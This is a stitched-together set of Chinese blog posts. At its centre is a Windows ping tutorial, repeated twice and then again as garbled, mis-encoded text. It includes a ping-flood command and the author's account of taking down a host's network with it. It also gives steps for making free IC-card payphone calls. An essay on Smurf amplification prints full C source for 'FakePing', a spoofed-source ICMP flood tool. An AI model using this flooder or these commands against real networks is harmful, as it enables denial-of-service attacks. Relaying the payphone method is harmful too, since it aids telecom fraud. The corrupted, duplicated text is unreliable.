Windows下Ping命令详解及使用小技巧

Windows下Ping命令详解及使用小技巧

对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。
现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-wz timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com

-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
C:\>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。

-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。

-f Set Don’t Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。

-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。

-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。

-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 →
202.107.210.214 →
61.153.112.70 →
61.153.112.89 →
202.96.105.149 →
202.96.105.97 →
202.96.105.101 →
202.96.105.150 →
61.153.112.90

Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。

-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。

-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。

-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。

-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔,单位为毫秒。
此参数没有什么其他技巧。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“DefaultTTL”=dword:000000ff
255—FF
128—80
64----40
32----20
好了,ping命令也基本上完全讲解完了,其中还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当中有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。

对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。
现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com

-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
C:\>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。

-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。

-f Set Don’t Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。

-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。

-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。

-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 →
202.107.210.214 →
61.153.112.70 →
61.153.112.89 →
202.96.105.149 →
202.96.105.97 →
202.96.105.101 →
202.96.105.150 →
61.153.112.90

Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。

-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。

-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。

-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。

-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔,单位为毫秒。
此参数没有什么其他技巧。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“DefaultTTL”=dword:000000ff
255—FF
128—80
64----40
32----20
好了,ping命令也基本上完全讲解完了,其中还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当中有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。

免费打IC卡电话的方法
(一) 先打所要打的电话号码 如 3230000 再按# 马上再按重拨 马上挂下 再拿起电话 按 120 # 就可以打了(不用ic) 此法用于老式机子 100% 后跟提供此方法的20004联系,他告诉我在些过程中还是要 插入卡,但在什么时候插入,什么时候取出, 请广大网友自己测试 免费用IC卡电话打传呼的方法(二) IC卡免费拨打127/999/129寻呼的方法,本法也可用于普通电话和磁卡电话,但对手机无效。 方法: 打自动寻呼时,拨完号码时有BBB的声音,在此声音之前,会有很小 的喀哒的声音,在 听到喀哒的声音时同时挂机,不收话费,但寻呼已呼出!!! 有的办公用智能IC卡电话会记费,但电信局决不会记费!!!

最近不少人又来号召大家一起去Ping死什么什么网站,政治我不懂,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。 一个基本的认识:互联网的中心在美国,中国的这一部分只不过是互联网的一个小小分支(也就是相当于美国的一个城域网的概念),我们通往北美的光缆称为“北美出口”,出口什么意思?大门呀,换句话说,也就是瓶颈,这样大家Ping来Ping去,首先死的是中国的出口网关(中国的北美出口带宽也不过是GB级的,很宽么?经得住大家一起往外挤么?),当然,北美出口歇掉了,我们显然是看不见美国网站了,喜欢做阿Q的不妨对自己和别人说:“美国被我们炸掉了!”(奇怪吧?可是前些时候不是有自己炮制白宫“被黑”页面到处散发的?)可是这样不如我们关掉国门、断开互联网,自己在家里做强国梦好了,想象中我们仍然是在强大的唐朝,世界各地都来朝拜。 闲话少说,我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) 正常情况下,Ping的流程是这样的: 主机A发送ICMP 8,0报文给主机B 主机B回送ICMp 0,0报文给主机A 因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 回应主机C,结构如下: 伪装为主机C 错误的回复 主机A--------------------->主机B------------------>主机C 这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且 不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求(当然是回应给被攻击主机啦,人人都以为是它Ping的呢),这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) 我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载,使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标. 源码公布如下:(写的比较匆忙,代码比较乱,见笑了) ////////////////////////////////////////////////////////////////////////// // // // FakePing For Win2K by Shotgun // // // // Released: [2001.4] // // Author: [Shotgun] // // Homepage: // // [IT.Xici.Net] // // [Patching.Net] // // // ////////////////////////////////////////////////////////////////////////// #include #include #include #include #define SEQ 0x28376839 #define STATUS_FAILED 0xFFFF //错误返回值 typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER; // // 定义ICMP首部 typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号(一般用进程号作为识别号) USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }ICMP_HEADER; //CheckSum:计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += (UCHAR)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } //FakePing主函数 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32; char SendBuf[65535]={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; ICMP_HEADER icmp_header; char FakeSourceIp[20],DestIp[20]; //接受命令行参数 if (argc<3) { printf("FakePing by Shotgun\n"); printf("\tThis program can do Ping-Flooding from a FakeIP\n"); printf("\tUsing a BroadCast IP as the FakeIP will enhance the effect\n"); printf("Email:\n"); printf("\tShotgun@Xici.Net\n"); printf("HomePage:\n"); printf("\thttp://It.Xici.Net\n"); printf("\thttp://www.Patching.Net\n"); printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n"); printf("Example:\n"); printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n"); printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n"); exit(0); } strcpy(FakeSourceIp,argv[1]); strcpy(DestIp,argv[2]); if (argc>3) PacketSize=atoi(argv[3]); if (PacketSize>60000) { printf("Error! Packet size too big, must <60K\n"); exit(0); } printf("Now Fake %s Ping %s using Packet size=%d bytes\n", FakeSourceIp, DestIp, PacketSize); printf("\tCtrl+C to Quit\n"); //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) { fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); ExitProcess(STATUS_FAILED); } if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char )&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n"); __try{ //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间 TTL ip_header.proto=IPPROTO_ICMP; //8位协议 (TCP, UDP 或其他) ip_header.checksum=0; //16位IP首部校验和 ip_header.sourceIP=inet_addr(FakeSourceIp); //32 位源IP地址 ip_header.destIP=inet_addr(DestIp); //32位目的IP地址 //填充ICMP首部 icmp_header.i_type = 8; icmp_header.i_code = 0; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = 999; icmp_header.i_seq=999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf+sizeof(icmp_header), ‘E‘, PacketSize); icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), ‘E‘, PacketSize); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); //计算发送缓冲区的大小 datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; ip_header.checksum=checksum((USHORT )SendBuf,datasize); //填充发送缓冲区 memcpy(SendBuf,&ip_header, sizeof(ip_header)); while(1) { Sleep(100); printf("."); for(counter=0;counter<1024;counter++) { //发送ICMP报文 ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr)&DestAddr,sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); } } }//End of try __finally { if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; } 结语: 爱国主义是必要的,热情是不可少的,但是技术这个东西来不得半点虚假,来不得半点冲动,是要靠老老实实慢慢钻研的,FakePing技术在互联网上不是什么新技术,很久以前被我们唾弃攻击的美国人就实现过了,难道我们现在还要去组织多少万人去冲击互联网出口?依靠智慧和知识的阿基米德,曾经用镜子保护了自己的家园,难道我们现在还要靠冲动和盲目去强国富民么?(

Ping命令完全讲解
Windows下ping指令相信大家已再熟悉不^了,但是能把ping的功能l]到最大的人sK不是很多,然我也K不是f我可以pingl]最大的功能,我也只不^常用ping@工具,也Y了一些小,F在和大家分享一下。
F在我就⒄ping指令的o助f明斫o大家v我使用pingr玫降募记桑ping只有在安b了TCP/IP通f定以後才可以使用:

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list

Options:

-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.

不停的ping地方主机,直到你按下Control-C。

此功能?有什N特e的技巧,不^可以配合其他凳褂茫⒃谙旅嫣岬健

-a Resolve addresses to hostnames.

解析XNetBios名。

例:C:\>ping -a 192.168.1.21

Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Ping statistics for 192.168.1.21:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

上面就可以知道IP192.168.1.21的XNetBios名iceblood.yofor.com

-n count Number of echo requests to send.

l送count指定的Echo怠

在默J情r下,一般都只l送四ㄟ^@命令可以自己定xl送的担饬烤W路速度很有助,比如我想yl送50姆祷氐钠骄rg槎嗌伲羁rg槎嗌伲盥rg槎嗌倬涂梢酝ㄟ^以下?知:

C:\>ping -n 50 202.103.96.68

Pinging 202.103.96.68 with 32 bytes of data:

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Request timed out.

………………

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Ping statistics for 202.103.96.68:

Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:

Minimum = 40ms, Maximum = 51ms, Average = 46ms

以上我就可以知道在o202.103.96.68l送50倪^程中,返回了48,其中有由於未知原因G失,@48中返回速度最快40ms,最慢51ms,平均速度46ms。

-l size Send buffer size.

定xecho笮

在默J的情?下windows的pingl送的笮32byt,我也可以自己定x它的大小,但有一大小的限制,就是最大只能l送65500byt,也S有人槭颤N要限制到65500byt,因Windows系列的系y都有一安全漏洞(也S包括其他系y)就是向Ψ揭淮伟l送的笥诨虻褥65532r,Ψ骄秃苡锌赡墚机,所以微公司榱私Q@一安全漏洞於是限制了ping的笮 km然微公司已做了此限制,但@蹬浜掀渌狄葬嵛:σ廊环浅大,比如我就可以通^配合-tF一有攻粜缘闹噶睿(以下介B有危U性,只用於,勿p易施於e人X上,否?後果自)

C:\>ping -l 65500 -t 192.168.1.21

Pinging 192.168.1.21 with 65500 bytes of data:

Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254

Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254

………………

@铀煌5南192.168.1.21Xl送大小65500byt的绻阒挥幸惶X也S?有什N效果,但如果有很多台X那N就可以使Ψ酵耆c,我曾就做^@拥脑,我同r使用10台以上Xping一台Win2000Pro系y的Xr,不到5分Ψ降木W路就已完全c,W路乐囟氯HTTP和FTP服胀耆V梗纱丝梢威力非同小可。

-f Set Don’t Fragment flag in packet.

在邪l送“不要分段”苏I。

在一般你所l送的ㄟ^路由分段再l送oΨ剑由洗狄葬崧酚删筒俜侄翁怼

-i TTL Time To Live.

指定TTL值在Ψ降南到y里停留的rg。

此低邮助你z查W路\D情r的。

-v TOS Type Of Service.

胺疹型”字段O置tos指定的值。

-r count Record route for count hops.

在“路由”字段中怀龊头祷穆酚伞

在一般情r下你l送的峭ㄟ^一路由才到_Ψ降模降资墙^了哪些路由呢?通^此稻涂梢栽O定你想探y^的路由的担贿^限制在了9,也就是f你只能跟到9路由,如果想探y更多,可以通^其他命令F,我⒃谝葬岬奈恼轮薪o大家v解。以下楣例:

C:\>ping -n 1 -r 9 202.96.105.101(l送一疃嘤9路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249

Route: 202.107.208.187 →

202.107.210.214 →

61.153.112.70 →

61.153.112.89 →

202.96.105.149 →

202.96.105.97 →

202.96.105.101 →

202.96.105.150 →

61.153.112.90

Ping statistics for 202.96.105.101:

Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 10ms, Maximum = 10ms, Average = 10ms

上面我就可以知道我的X到202.96.105.101一共通^了202.107.208.187,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97@路由。

-s count Timestamp for count hops.

指定count指定的?c档rg戳。

此岛-r差不多,只是@挡挥祷厮^的路由,最多也只4。

-j host-list Loose source route along host-list.

利用computer-list指定的X列表路由_BmX可以被中gPW?分隔(路由稀疏源)IP允S的最大?量9。

-k host-list Strict source route along host-list.

利用computer-list指定的X列表路由_BmX不能被中gW?分隔(路由?格源)IP允S的最大盗9。

-w timeout Timeout in milliseconds to wait for each reply.

指定超rg隔,挝楹撩搿

此?有什N其他技巧。

ping指令的其他技巧:在一般情r下可以通^pingΨ阶Ψ椒祷亟o你的TTL值大小,粗略的判嗄酥骰南到y型是Windows系列是UNIX/Linux系列,一般情r下Windows系列的系?返回的TTL值在100-130之g,而UNIX/Linux系列的系y返回的TTL值在240-255之g,然TTL的值在Ψ降闹骰e是可以修改的,Windows系列的系?可以通^修改注?表以下I值F:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]

“DefaultTTL”=dword:000000ff

255—FF

128—80

64----40

32----20

好了,ping命令也基本上完全v解完了,其中有-j,-k滴疫]有f明,请大家!